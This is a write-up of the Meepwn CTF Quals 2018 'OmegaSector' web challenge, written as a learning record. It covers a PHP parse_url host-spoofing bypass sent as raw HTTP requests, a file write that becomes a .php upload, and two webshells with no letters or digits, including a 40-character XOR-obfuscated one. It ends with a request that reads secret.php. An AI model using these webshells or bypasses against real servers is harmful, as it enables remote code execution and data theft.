Meepwn CTF Quals 2018 - Write-up

Information#

Version#

By Version Comment
noraj 1.0 Creation

CTF#

  • Name : Meepwn CTF Quals 2018
  • Website : ctf.meepwn.team
  • Type : Online
  • Format : Jeopardy
  • CTF Time : link

OmegaSector - Web#

Wtf !? I just want to go to OmegaSector but there is weird authentication here, please help me

http://138.68.228.12/

Note: the IP address changed several times during the competition.

Let's take a look at the source:

$ curl http://178.128.87.21:9003/
<html>
<style type="text/css">* {cursor: url(assets/maplcursor.cur), auto !important;}</style>
<head>
  <link rel="stylesheet" href="assets/omega_sector.css">
  <link rel="stylesheet" href="assets/tsu_effect.css">
</head>

<h2 id="intro" class="neon">Seems like you are not belongs to this place, please comeback to ludibrium!</h2><img src="assets/map.jpg" id="taxi" width="55%" height="55%" /><body background="assets/background.jpg" class="cenback">
</body>
<!-- is_debug=1 -->
<!-- All images/medias credit goes to nexon, wizet -->
</html>

Nice! A debug page, now try: http://178.128.87.21:9003/?is_debug=1 and get the source code.

<?php
ob_start();
session_start();
?>
<html>
<style type="text/css">* {cursor: url(assets/maplcursor.cur), auto !important;}</style>
<head>
  <link rel="stylesheet" href="assets/omega_sector.css">
  <link rel="stylesheet" href="assets/tsu_effect.css">
</head>

<?php

ini_set("display_errors", 0);
include('secret.php');

$remote=$_SERVER['REQUEST_URI'];

if(strpos(urldecode($remote),'..'))
{
mapl_die();
}

if(!parse_url($remote, PHP_URL_HOST))
{
    $remote='http://'.$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI'];
}
$whoareyou=parse_url($remote, PHP_URL_HOST);


if($whoareyou==="alien.somewhere.meepwn.team")
{
    if(!isset($_GET['alien']))
    {
        $wrong = <<<EOF
<h2 id="intro" class="neon">You will be driven to hidden-street place in omega sector which is only for alien! Please verify your credentials first to get into the taxi!</h2>
<h1 id="main" class="shadow">Are You ALIEN??</h1>
<form id="main">
    <button type="submit" class="button-success" name="alien" value="Yes">Yes</button>
    <button type="submit" class="button-error" name="alien" value="No">No</button>
</form>
<img src="assets/taxi.png" id="taxi" width="15%" height="20%" />
EOF;
        echo $wrong;
    }
    if(isset($_GET['alien']) and !empty($_GET['alien']))
    {
         if($_GET['alien']==='@!#$@!@@')
        {
            $_SESSION['auth']=hash('sha256', 'alien'.$salt);
            exit(header( "Location: alien_sector.php" ));
        }
        else
        {
            mapl_die();
        }
    }

}
elseif($whoareyou==="human.ludibrium.meepwn.team")
{
    
    if(!isset($_GET['human']))
    {
        echo "";
        $wrong = <<<EOF
<h2 id="intro" class="neon">hellu human, welcome to omega sector, please verify your credentials to get into the taxi!</h2>
<h1 id="main" class="shadow">Are You Human?</h1>
<form id="main">
    <button type="submit" class="button-success" name="human" value="Yes">Yes</button>
    <button type="submit" class="button-error" name="human" value="No">No</button>
</form>
<img src="assets/taxi.png" id="taxi" width="15%" height="20%" />
EOF;
        echo $wrong;
    }
    if(isset($_GET['human']) and !empty($_GET['human']))
    {
         if($_GET['human']==='Yes')
        {
            $_SESSION['auth']=hash('sha256', 'human'.$salt);
            exit(header( "Location: omega_sector.php" ));
        }
        else
        {
            mapl_die();
        }
    }

}
else
{
    echo '<h2 id="intro" class="neon">Seems like you are not belongs to this place, please comeback to ludibrium!</h2>';
    echo '<img src="assets/map.jpg" id="taxi" width="55%" height="55%" />';
    if(isset($_GET['is_debug']) and !empty($_GET['is_debug']) and $_GET['is_debug']==="1")
    {
        show_source(__FILE__);
    }
}

?>
<body background="assets/background.jpg" class="cenback">
</body>
<!-- is_debug=1 -->
<!-- All images/medias credit goes to nexon, wizet -->
</html>
<?php ob_end_flush(); ?>

Let's focus on that piece of code:

if(strpos(urldecode($remote),'..'))
{
mapl_die();
}

if(!parse_url($remote, PHP_URL_HOST))
{
    $remote='http://'.$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI'];
}
$whoareyou=parse_url($remote, PHP_URL_HOST);


if($whoareyou==="alien.somewhere.meepwn.team")

We are requesting http://138.68.228.12/ but we need to make it looks like it was http://human.ludibrium.meepwn.team/ or http://alien.somewhere.meepwn.team/.

Sounds impossible right?

Then we quickly found a vulnerability called PHP < 5.6.28 parse_url() bypass HOST to return fake host.

Here are some great resources about it:

So I tried some requests like that:

$ curl -v "http://138.68.228.12:80?@human.ludibrium.meepwn.team&human=Yes"
$ curl -v "http://138.68.228.12:80?@alien.somewhere.meepwn.team&alien=%40%21%23%24%40%21%40%40"
$ curl -v "http://138.68.228.12:80?@human.ludibrium.meepwn.team/"
$ curl -v "http://138.68.228.12:80#@human.ludibrium.meepwn.team/"

But it didn't worked and after I read the slide from the blackhat US 2017 (page 24) I thought it was because curl was vulnerable and not fixed so curl was trapped before sending the request.

I tried a lot of variations, in perl, in ruby, with wget, but the truth was not here.

Then a member of my team came with a great idea: using the following request in burp.

GET http://alien.somewhere.meepwn.team/?alien=%40%21%23%24%40%21%40%40 HTTP/1.1
Host: 138.68.228.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=6io9ihsnvah023hju08035frg4
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

Oh yeah this time it worked, we are redirected to alien_sector.php with a valid session.

The same thing worked for the human counterpart too.

On those pages there is a form that allows us to leave a message that is then saved on the web server directory.

Files are saved with .human or .alien extension. But we can change the extension to .php with type=php.

POST /alien_sector.php HTTP/1.1
Host: 138.68.228.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://138.68.228.12/alien_sector.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Cookie: PHPSESSID=6io9ihsnvah023hju08035frg4
Connection: close
Upgrade-Insecure-Requests: 1

message=%3c%3f%3f%3e&type=php

Sounds easy now? But it's not at all!

In the alien form we can send a message with all chars we want except letters and numbers else we got Uh huh? Wut is this language?.

And in the human form we can only use letters and numbers but no other chars even spaces or line feed.

I thought that the human way was impossible. The alien way must be possible with something equivalent to JS brainfuck but in PHP.

So I searched and found this article [Bypass WAF] Php webshell without numbers and letters.

I invite you to read this article. The author is using two methods:

  1. The first with XOR operation, we can't use this webshell as it involves some letters and numbers
  2. Another one with an arithmetic operations trick

So let's send this webshell:

<?
$_=[];
$_=@"$_";
$_=$_['!'=='@'];
$___=$_;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
 
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__;
 
$_=$$____;
$___($_[_]);
?>

That should have been too easy, now we get this error message Signal OVERLOAD!!!!! only 40 o e i e. That doesn't make any sens but I understand (and I checked) that our webshell can't be larger than 40 chars.

I didn't have time to make a smaller webshell.

After the CTF was ended, I asked tsug0d (the author of the challenge) how it was possible.

He told me it was a mix of the two methods, this way he can make a webshell that is 40 chars long:

<?=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
// equivalent to $_GET[_]($_GET[__]);

The first part is about xoring:

`{{{

with

?<>/

to create _GET. So we have $_='_GET'.

Then ${} is called variable variables in PHP.

So ${$_} gives $_GET.

At the end we get:

<?=$_GET[_]($_GET[__]);

I wanted to try it, so I sent:

POST /alien_sector.php HTTP/1.1
Host: 138.68.228.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://138.68.228.12/alien_sector.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 127
Cookie: PHPSESSID=6io9ihsnvah023hju08035frg4
Connection: close
Upgrade-Insecure-Requests: 1

message=%3C%3F%3D%24_%3D%22%60%7B%7B%7B%22%5E%22%3F%3C%3E%2F%22%3B%24%7B%24_%7D%5B_%5D%28%24%7B%24_%7D%5B__%5D%29%3B&type=php

highsenburger69 payload to exploit the webshell and reveal the flag:

http://138.68.228.12/alien_message/4e0ef0ca29f448295f9540ae1e618315.php?_=highlight_file&__=../secret.php

So we get:

<?php

$salt='G0g0_M3s0sr4ng3rS_1337';
$omega_sector_flag="MeePwnCTF{__133-221-333-123-111___}";
//Don't attack further after captured our flag, or we will find you and we will kill you... oops, i mean ban you ^_^.

function mapl_die()
    {
        $wrong = <<<EOF
<body background="assets/wrong.jpg" class="cenback"></body>
EOF;
        die($wrong);
    }

?>

The challenge was original and hard enough to resist us.

Share